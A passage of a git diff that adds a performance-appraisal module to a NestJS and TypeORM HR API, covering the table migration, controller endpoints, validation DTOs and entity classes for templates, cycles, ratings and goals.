whether 0.85 means 85% or 0.85%. + */ +export class HrAppraisal3600000000012 implements MigrationInterface { + name = "HrAppraisal3600000000012"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."appraisal_templates" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "description" jsonb, + "max_score" numeric(6,2) NOT NULL DEFAULT 5, + "rating_bands" jsonb NOT NULL DEFAULT '[]'::jsonb, + "requires_self_assessment" boolean NOT NULL DEFAULT true, + "requires_acknowledgement" boolean NOT NULL DEFAULT true, + "is_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_appraisal_templates_max_score" CHECK ("max_score" > 0) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_templates_org_code" + ON "hr"."appraisal_templates" ("organization_id", "code") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."appraisal_criteria" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "template_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "description" jsonb, + "category" varchar(32), + "weight" numeric(6,2) NOT NULL, + "sort_order" smallint NOT NULL DEFAULT 100, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + CONSTRAINT "fk_appraisal_criteria_template" + FOREIGN KEY ("template_id") + REFERENCES "hr"."appraisal_templates" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_appraisal_criteria_weight" + CHECK ("weight" > 0 AND "weight" <= 100) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_criteria_template_code" + ON "hr"."appraisal_criteria" ("template_id", "code") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."appraisal_cycles" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "template_id" uuid NOT NULL, + "period_start" date NOT NULL, + "period_end" date NOT NULL, + "self_due_on" date, + "manager_due_on" date, + "status" varchar(16) NOT NULL DEFAULT 'DRAFT', + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_appraisal_cycles_template" + FOREIGN KEY ("template_id") REFERENCES "hr"."appraisal_templates" ("id"), + CONSTRAINT "ck_appraisal_cycles_status" + CHECK ("status" IN ('DRAFT','OPEN','CLOSED','CANCELLED')), + CONSTRAINT "ck_appraisal_cycles_period" + CHECK ("period_end" > "period_start") + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_cycles_org_code" + ON "hr"."appraisal_cycles" ("organization_id", "code") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."appraisals" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "cycle_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "appraiser_employee_id" uuid, + "status" varchar(24) NOT NULL DEFAULT 'PENDING_SELF', + "self_score" numeric(6,2), + "manager_score" numeric(6,2), + "final_score" numeric(6,2), + "final_rating" varchar(32), + "self_comment" varchar(2048), + "manager_comment" varchar(2048), + "employee_comment" varchar(2048), + "self_submitted_at" timestamptz, + "manager_submitted_at" timestamptz, + "acknowledged_at" timestamptz, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_appraisals_cycle" + FOREIGN KEY ("cycle_id") + REFERENCES "hr"."appraisal_cycles" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_appraisals_status" + CHECK ("status" IN + ('PENDING_SELF','PENDING_MANAGER','PENDING_ACKNOWLEDGEMENT', + 'COMPLETED','CANCELLED')), + CONSTRAINT "ck_appraisals_scores" CHECK ( + ("self_score" IS NULL OR ("self_score" >= 0 AND "self_score" <= 100)) + AND ("manager_score" IS NULL OR ("manager_score" >= 0 AND "manager_score" <= 100)) + AND ("final_score" IS NULL OR ("final_score" >= 0 AND "final_score" <= 100)) + ), + -- A completed appraisal must carry the score it concluded with. + CONSTRAINT "ck_appraisals_completed" + CHECK ("status" <> 'COMPLETED' OR "final_score" IS NOT NULL) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisals_cycle_employee" + ON "hr"."appraisals" ("cycle_id", "employee_id") + WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_appraisals_appraiser" + ON "hr"."appraisals" ("appraiser_employee_id", "status") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_appraisals_employee" + ON "hr"."appraisals" ("employee_id") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."appraisal_ratings" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "appraisal_id" uuid NOT NULL, + "criterion_id" uuid, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "weight" numeric(6,2) NOT NULL, + "max_score" numeric(6,2) NOT NULL, + "self_score" numeric(6,2), + "manager_score" numeric(6,2), + "self_comment" varchar(1024), + "manager_comment" varchar(1024), + "sort_order" smallint NOT NULL DEFAULT 100, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + CONSTRAINT "fk_appraisal_ratings_appraisal" + FOREIGN KEY ("appraisal_id") + REFERENCES "hr"."appraisals" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_appraisal_ratings_scores" CHECK ( + ("self_score" IS NULL OR ("self_score" >= 0 AND "self_score" <= "max_score")) + AND ("manager_score" IS NULL + OR ("manager_score" >= 0 AND "manager_score" <= "max_score")) + ) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_ratings_appraisal_code" + ON "hr"."appraisal_ratings" ("appraisal_id", "code") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."appraisal_goals" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "appraisal_id" uuid NOT NULL, + "title" varchar(256) NOT NULL, + "description" varchar(2048), + "target" varchar(256), + "weight" numeric(6,2), + "achievement_percent" numeric(6,2), + "manager_comment" varchar(1024), + "sort_order" smallint NOT NULL DEFAULT 100, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + CONSTRAINT "fk_appraisal_goals_appraisal" + FOREIGN KEY ("appraisal_id") + REFERENCES "hr"."appraisals" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_appraisal_goals_achievement" + CHECK ("achievement_percent" IS NULL + OR ("achievement_percent" >= 0 AND "achievement_percent" <= 200)) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_appraisal_goals_appraisal" + ON "hr"."appraisal_goals" ("appraisal_id") + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_goals"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_ratings"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisals"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_cycles"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_criteria"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_templates"`); + } +} diff --git a/apps/edr-hr-api/src/modules/appraisal/appraisal.module.ts b/apps/edr-hr-api/src/modules/appraisal/appraisal.module.ts new file mode 100644 index 000000000..4c42d76ad --- /dev/null +++ b/apps/edr-hr-api/src/modules/appraisal/appraisal.module.ts @@ -0,0 +1,40 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { + Appraisal, + AppraisalCriterion, + AppraisalCycle, + AppraisalGoal, + AppraisalRating, + AppraisalTemplate, +} from "./entities/appraisal.entity"; +import { AppraisalService } from "./services/appraisal.service"; +import { AppraisalController } from "./controllers/appraisal.controller"; +import { EmployeesModule } from "../employees/employees.module"; + +/** + * Module 3.6 Performance appraisal. + * + * Reuses the line-manager resolution built for leave: the person who approves + * your leave is the person who appraises you, and having two answers to "who is + * their manager" is how an organization ends up with reviews signed by the wrong + * person. + */ +@Module({ + imports: [ + TypeOrmModule.forFeature([ + AppraisalTemplate, + AppraisalCriterion, + AppraisalCycle, + Appraisal, + AppraisalRating, + AppraisalGoal, + ]), + EmployeesModule, + ], + controllers: [AppraisalController], + providers: [AppraisalService], + exports: [AppraisalService], +}) +export class AppraisalModule {} diff --git a/apps/edr-hr-api/src/modules/appraisal/controllers/appraisal.controller.ts b/apps/edr-hr-api/src/modules/appraisal/controllers/appraisal.controller.ts new file mode 100644 index 000000000..9cfc7f49c --- /dev/null +++ b/apps/edr-hr-api/src/modules/appraisal/controllers/appraisal.controller.ts @@ -0,0 +1,238 @@ +import { + Body, + Controller, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { AppraisalService } from "../services/appraisal.service"; +import { EAppraisalStatus } from "../entities/appraisal.entity"; +import { + AcknowledgeDto, + CreateCycleDto, + CreateGoalDto, + CreateTemplateDto, + OpenCycleDto, + SubmitManagerDto, + SubmitSelfDto, +} from "../dto/appraisal.dto"; + +@ApiTags("appraisal") +@ApiBearerAuth() +@Controller("appraisal") +@HrStaff([ + HR_PERMS.appraisal.manageCycle, + HR_PERMS.appraisal.manageTemplate, + HR_PERMS.appraisal.submitSelf, + HR_PERMS.appraisal.submitManager, + HR_PERMS.appraisal.viewAll, +]) +export class AppraisalController { + constructor(private readonly appraisal: AppraisalService) {} + + // ── Templates ───────────────────────────────────────────────────────────── + + @Get("templates") + @HrStaff(HR_PERMS.appraisal.manageTemplate) + @ApiOperation({ summary: "Appraisal forms" }) + templates(@CurrentUser() user: TCurrentUser) { + return this.appraisal.listTemplates(actorFrom(user)); + } + + @Post("templates") + @HrStaff(HR_PERMS.appraisal.manageTemplate) + @ApiOperation({ + summary: "Create an appraisal form", + description: + "Criterion weights must total 100 — otherwise a score cannot be read as a " + + "percentage or compared between employees.", + }) + @ApiResponse({ status: 400, description: "Weights do not total 100" }) + createTemplate( + @Body() dto: CreateTemplateDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.createTemplate(dto, actorFrom(user)); + } + + @Get("templates/:id") + @HrStaff(HR_PERMS.appraisal.manageTemplate) + @ApiOperation({ summary: "One form, with its criteria" }) + template( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.getTemplate(id, actorFrom(user)); + } + + // ── Cycles ──────────────────────────────────────────────────────────────── + + @Get("cycles") + @HrStaff(HR_PERMS.appraisal.submitSelf) + @ApiOperation({ summary: "Appraisal cycles" }) + cycles(@CurrentUser() user: TCurrentUser) { + return this.appraisal.listCycles(actorFrom(user)); + } + + @Post("cycles") + @HrStaff(HR_PERMS.appraisal.manageCycle) + @ApiOperation({ summary: "Create a cycle" }) + createCycle(@Body() dto: CreateCycleDto, @CurrentUser() user: TCurrentUser) { + return this.appraisal.createCycle(dto, actorFrom(user)); + } + + @Post("cycles/:id/open") + @HrStaff(HR_PERMS.appraisal.manageCycle) + @ApiOperation({ + summary: "Open a cycle and create everyone's appraisal", + description: + "The form's criteria are copied onto each appraisal, so editing the " + + "template later cannot restate a review that has been signed. Safe to " + + "re-run: existing appraisals are left alone.", + }) + @ApiResponse({ status: 201, description: "{ cycle, created, skipped }" }) + openCycle( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: OpenCycleDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.openCycle(id, dto.employeeIds, actorFrom(user)); + } + + @Patch("cycles/:id/close") + @HrStaff(HR_PERMS.appraisal.manageCycle) + @ApiOperation({ summary: "Close a cycle" }) + closeCycle( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.closeCycle(id, actorFrom(user)); + } + + @Get("cycles/:id/progress") + @HrStaff(HR_PERMS.appraisal.viewAll) + @ApiOperation({ summary: "How far a cycle has got — counts by status" }) + progress( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.cycleProgress(id, actorFrom(user)); + } + + // ── Appraisals ──────────────────────────────────────────────────────────── + + @Get("mine") + @HrStaff(HR_PERMS.appraisal.submitSelf) + @ApiOperation({ summary: "My appraisals" }) + mine(@CurrentUser() user: TCurrentUser) { + return this.appraisal.findMine(actorFrom(user)); + } + + @Get("awaiting-me") + @HrStaff(HR_PERMS.appraisal.submitManager) + @ApiOperation({ summary: "Appraisals waiting on my assessment" }) + awaitingMe(@CurrentUser() user: TCurrentUser) { + return this.appraisal.findAwaitingMe(actorFrom(user)); + } + + @Get() + @HrStaff(HR_PERMS.appraisal.viewAll) + @ApiOperation({ summary: "All appraisals" }) + @ApiQuery({ name: "cycleId", required: false }) + @ApiQuery({ name: "status", required: false, enum: EAppraisalStatus }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("cycleId") cycleId?: string, + @Query("status") status?: EAppraisalStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.appraisal.findAll({ cycleId, status, page, limit }, actorFrom(user)); + } + + @Get(":id") + @HrStaff(HR_PERMS.appraisal.submitSelf) + @ApiOperation({ summary: "One appraisal, with its ratings and goals" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.findOne(id, actorFrom(user)); + } + + @Post(":id/self") + @HrStaff(HR_PERMS.appraisal.submitSelf) + @ApiOperation({ + summary: "Submit my own assessment", + description: + "Recorded for comparison; it does not decide the outcome. Every criterion " + + "must be scored.", + }) + submitSelf( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: SubmitSelfDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.submitSelf(id, dto, actorFrom(user)); + } + + @Post(":id/manager") + @HrStaff(HR_PERMS.appraisal.submitManager) + @ApiOperation({ + summary: "Submit the manager's assessment", + description: + "This decides the final score — it is NOT averaged with the self " + + "assessment, or anyone could raise their result by rating themselves " + + "highly. Nobody may appraise themselves.", + }) + @ApiResponse({ status: 403, description: "You cannot appraise yourself" }) + submitManager( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: SubmitManagerDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.submitManager(id, dto, actorFrom(user)); + } + + @Patch(":id/acknowledge") + @HrStaff(HR_PERMS.appraisal.submitSelf) + @ApiOperation({ + summary: "Acknowledge the result", + description: "The employee's right of reply. It cannot change the score.", + }) + acknowledge( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: AcknowledgeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.acknowledge(id, dto.comment, actorFrom(user)); + } + + @Post(":id/goals") + @HrStaff(HR_PERMS.appraisal.submitManager) + @ApiOperation({ summary: "Add an objective to an appraisal" }) + addGoal( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: CreateGoalDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.appraisal.addGoal(id, dto, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/appraisal/dto/appraisal.dto.ts b/apps/edr-hr-api/src/modules/appraisal/dto/appraisal.dto.ts new file mode 100644 index 000000000..eb9f7e47b --- /dev/null +++ b/apps/edr-hr-api/src/modules/appraisal/dto/appraisal.dto.ts @@ -0,0 +1,282 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsArray, + IsBoolean, + IsDateString, + IsNotEmpty, + IsNumber, + IsNumberString, + IsObject, + IsOptional, + IsString, + IsUUID, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { LocalizedTextDto } from "../../leave/dto/leave-type.dto"; + +export class RatingBandDto { + @ApiProperty({ minimum: 0, maximum: 100, example: 90 }) + @IsNumber() + @Min(0) + @Max(100) + min!: number; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + label!: LocalizedTextDto; +} + +export class CriterionDto { + @ApiProperty({ maxLength: 32, example: "QUALITY" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiPropertyOptional({ type: LocalizedTextDto }) + @IsOptional() + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + description?: LocalizedTextDto; + + @ApiPropertyOptional({ maxLength: 32, example: "RESULTS" }) + @IsOptional() + @IsString() + @MaxLength(32) + category?: string; + + @ApiProperty({ + example: "25.00", + description: "Percentage points. All criteria in a template must total 100.", + }) + @IsNumberString() + weight!: string; +} + +export class CreateTemplateDto { + @ApiProperty({ maxLength: 32, example: "ANNUAL-2026" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiPropertyOptional({ type: LocalizedTextDto }) + @IsOptional() + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + description?: LocalizedTextDto; + + @ApiPropertyOptional({ example: "5.00", description: "Top of the per-criterion scale." }) + @IsOptional() + @IsNumberString() + maxScore?: string; + + @ApiPropertyOptional({ type: [RatingBandDto] }) + @IsOptional() + @IsArray() + @ValidateNested({ each: true }) + @Type(() => RatingBandDto) + ratingBands?: RatingBandDto[]; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + requiresSelfAssessment?: boolean; + + @ApiPropertyOptional({ + default: true, + description: "Whether the employee must acknowledge the result before it closes.", + }) + @IsOptional() + @IsBoolean() + requiresAcknowledgement?: boolean; + + @ApiProperty({ type: [CriterionDto] }) + @IsArray() + @ValidateNested({ each: true }) + @Type(() => CriterionDto) + criteria!: CriterionDto[]; +} + +export class CreateCycleDto { + @ApiProperty({ maxLength: 32, example: "FY2026" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiProperty({ format: "uuid" }) + @IsUUID() + templateId!: string; + + @ApiProperty({ format: "date" }) + @IsDateString() + periodStart!: string; + + @ApiProperty({ format: "date" }) + @IsDateString() + periodEnd!: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + selfDueOn?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + managerDueOn?: string; +} + +export class OpenCycleDto { + @ApiPropertyOptional({ + type: [String], + format: "uuid", + description: + "Who to appraise. Omit for everyone employed in the organization with an " + + "HR profile — terminated and retired staff are excluded either way.", + }) + @IsOptional() + @IsArray() + @IsUUID(undefined, { each: true }) + employeeIds?: string[]; +} + +export class RatingInputDto { + @ApiProperty({ maxLength: 32 }) + @IsString() + @IsNotEmpty() + code!: string; + + @ApiProperty({ example: 4, description: "0 to the template's maxScore." }) + @IsNumber() + @Min(0) + score!: number; + + @ApiPropertyOptional({ maxLength: 1024 }) + @IsOptional() + @IsString() + @MaxLength(1024) + comment?: string; +} + +export class SubmitSelfDto { + @ApiProperty({ type: [RatingInputDto], description: "Every criterion is required." }) + @IsArray() + @ValidateNested({ each: true }) + @Type(() => RatingInputDto) + ratings!: RatingInputDto[]; + + @ApiPropertyOptional({ maxLength: 2048 }) + @IsOptional() + @IsString() + @MaxLength(2048) + comment?: string; +} + +export class GoalOutcomeDto { + @ApiProperty({ format: "uuid" }) + @IsUUID() + id!: string; + + @ApiPropertyOptional({ + minimum: 0, + maximum: 200, + description: "Over 100 is allowed — exceeding a target is a real outcome.", + }) + @IsOptional() + @IsNumber() + @Min(0) + @Max(200) + achievementPercent?: number; + + @ApiPropertyOptional({ maxLength: 1024 }) + @IsOptional() + @IsString() + @MaxLength(1024) + comment?: string; +} + +export class SubmitManagerDto { + @ApiProperty({ type: [RatingInputDto] }) + @IsArray() + @ValidateNested({ each: true }) + @Type(() => RatingInputDto) + ratings!: RatingInputDto[]; + + @ApiPropertyOptional({ type: [GoalOutcomeDto] }) + @IsOptional() + @IsArray() + @ValidateNested({ each: true }) + @Type(() => GoalOutcomeDto) + goals?: GoalOutcomeDto[]; + + @ApiPropertyOptional({ maxLength: 2048 }) + @IsOptional() + @IsString() + @MaxLength(2048) + comment?: string; +} + +export class AcknowledgeDto { + @ApiPropertyOptional({ + maxLength: 2048, + description: "The employee's right of reply. It cannot change the score.", + }) + @IsOptional() + @IsString() + @MaxLength(2048) + comment?: string; +} + +export class CreateGoalDto { + @ApiProperty({ maxLength: 256 }) + @IsString() + @IsNotEmpty() + @MaxLength(256) + title!: string; + + @ApiPropertyOptional({ maxLength: 2048 }) + @IsOptional() + @IsString() + @MaxLength(2048) + description?: string; + + @ApiPropertyOptional({ maxLength: 256, example: "Reduce turnaround to 3 days" }) + @IsOptional() + @IsString() + @MaxLength(256) + target?: string; + + @ApiPropertyOptional({ example: "20.00" }) + @IsOptional() + @IsNumberString() + weight?: string; +} diff --git a/apps/edr-hr-api/src/modules/appraisal/entities/appraisal.entity.ts b/apps/edr-hr-api/src/modules/appraisal/entities/appraisal.entity.ts new file mode 100644 index 000000000..2ea06b57f --- /dev/null +++ b/apps/edr-hr-api/src/modules/appraisal/entities/appraisal.entity.ts @@ -0,0 +1,361 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + CreateDateColumn, + Entity, + Index, + JoinColumn, + ManyToOne, + OneToMany, + PrimaryGeneratedColumn, +} from "typeorm"; + +export enum ECycleStatus { + DRAFT = "DRAFT", + OPEN = "OPEN", + CLOSED = "CLOSED", + CANCELLED = "CANCELLED", +} + +export enum EAppraisalStatus { + /** Waiting on the employee's own assessment. */ + PENDING_SELF = "PENDING_SELF", + PENDING_MANAGER = "PENDING_MANAGER", + /** Scored and shared; waiting for the employee to acknowledge it. */ + PENDING_ACKNOWLEDGEMENT = "PENDING_ACKNOWLEDGEMENT", + COMPLETED = "COMPLETED", + CANCELLED = "CANCELLED", +} + +/** `[{ min: 90, label: { am, en } }, …]`, highest first. */ +export interface RatingBand { + min: number; + label: { am: string; en: string }; +} + +@Entity({ schema: "hr", name: "appraisal_templates" }) +@Index("idx_appraisal_templates_org", ["organizationId"]) +export class AppraisalTemplate extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "jsonb", name: "description", nullable: true }) + description?: { am: string; en: string } | null; + + /** The top of the per-criterion scale — 5 for a five-point scale. */ + @Column({ type: "numeric", precision: 6, scale: 2, name: "max_score", default: 5 }) + maxScore!: string; + + /** + * What a percentage means in words. Data rather than constants because every + * employer words these differently, and the wording is what appears on the + * review the employee signs. + */ + @Column({ type: "jsonb", name: "rating_bands", default: () => `'[]'::jsonb` }) + ratingBands!: RatingBand[]; + + @Column({ type: "boolean", name: "requires_self_assessment", default: true }) + requiresSelfAssessment!: boolean; + + @Column({ type: "boolean", name: "requires_acknowledgement", default: true }) + requiresAcknowledgement!: boolean; + + @Column({ type: "boolean", name: "is_active", default: true }) + isActive!: boolean; + + @OneToMany(() => AppraisalCriterion, (criterion) => criterion.template) + criteria?: AppraisalCriterion[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +@Entity({ schema: "hr", name: "appraisal_criteria" }) +export class AppraisalCriterion { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "template_id" }) + templateId!: string; + + @ManyToOne(() => AppraisalTemplate, (template) => template.criteria) + @JoinColumn({ name: "template_id" }) + template?: AppraisalTemplate; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "jsonb", name: "description", nullable: true }) + description?: { am: string; en: string } | null; + + /** e.g. `RESULTS`, `BEHAVIOUR` — for grouping on the form. */ + @Column({ type: "varchar", length: 32, name: "category", nullable: true }) + category?: string | null; + + /** Percentage points. All criteria in a template must total 100. */ + @Column({ type: "numeric", precision: 6, scale: 2, name: "weight" }) + weight!: string; + + @Column({ type: "smallint", name: "sort_order", default: 100 }) + sortOrder!: number; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} + +@Entity({ schema: "hr", name: "appraisal_cycles" }) +@Index("idx_appraisal_cycles_org", ["organizationId"]) +export class AppraisalCycle extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "uuid", name: "template_id" }) + templateId!: string; + + @ManyToOne(() => AppraisalTemplate) + @JoinColumn({ name: "template_id" }) + template?: AppraisalTemplate; + + @Column({ type: "date", name: "period_start" }) + periodStart!: string; + + @Column({ type: "date", name: "period_end" }) + periodEnd!: string; + + @Column({ type: "date", name: "self_due_on", nullable: true }) + selfDueOn?: string | null; + + @Column({ type: "date", name: "manager_due_on", nullable: true }) + managerDueOn?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: ECycleStatus.DRAFT, + }) + status!: ECycleStatus; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** + * One employee's review for one cycle. + * + * The criteria are copied onto the appraisal as ratings when it opens, rather + * than joined from the template. Editing a template a year later must not + * restate a review that has already been signed. + */ +@Entity({ schema: "hr", name: "appraisals" }) +@Index("idx_appraisals_employee", ["employeeId"]) +export class Appraisal extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "cycle_id" }) + cycleId!: string; + + @ManyToOne(() => AppraisalCycle) + @JoinColumn({ name: "cycle_id" }) + cycle?: AppraisalCycle; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + /** The line manager, resolved the same way leave approvals are. */ + @Column({ type: "uuid", name: "appraiser_employee_id", nullable: true }) + appraiserEmployeeId?: string | null; + + @Column({ + type: "varchar", + length: 24, + name: "status", + default: EAppraisalStatus.PENDING_SELF, + }) + status!: EAppraisalStatus; + + /** All three are percentages, 0–100. */ + @Column({ type: "numeric", precision: 6, scale: 2, name: "self_score", nullable: true }) + selfScore?: string | null; + + @Column({ + type: "numeric", + precision: 6, + scale: 2, + name: "manager_score", + nullable: true, + }) + managerScore?: string | null; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "final_score", nullable: true }) + finalScore?: string | null; + + @Column({ type: "varchar", length: 32, name: "final_rating", nullable: true }) + finalRating?: string | null; + + @Column({ type: "varchar", length: 2048, name: "self_comment", nullable: true }) + selfComment?: string | null; + + @Column({ type: "varchar", length: 2048, name: "manager_comment", nullable: true }) + managerComment?: string | null; + + /** The employee's right of reply, recorded at acknowledgement. */ + @Column({ type: "varchar", length: 2048, name: "employee_comment", nullable: true }) + employeeComment?: string | null; + + @Column({ type: "timestamptz", name: "self_submitted_at", nullable: true }) + selfSubmittedAt?: Date | null; + + @Column({ type: "timestamptz", name: "manager_submitted_at", nullable: true }) + managerSubmittedAt?: Date | null; + + @Column({ type: "timestamptz", name: "acknowledged_at", nullable: true }) + acknowledgedAt?: Date | null; + + @OneToMany(() => AppraisalRating, (rating) => rating.appraisal) + ratings?: AppraisalRating[]; + + @OneToMany(() => AppraisalGoal, (goal) => goal.appraisal) + goals?: AppraisalGoal[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** One criterion on one appraisal, scored from both sides. */ +@Entity({ schema: "hr", name: "appraisal_ratings" }) +export class AppraisalRating { + @PrimaryGeneratedColumn("uuid") + id!: string; + 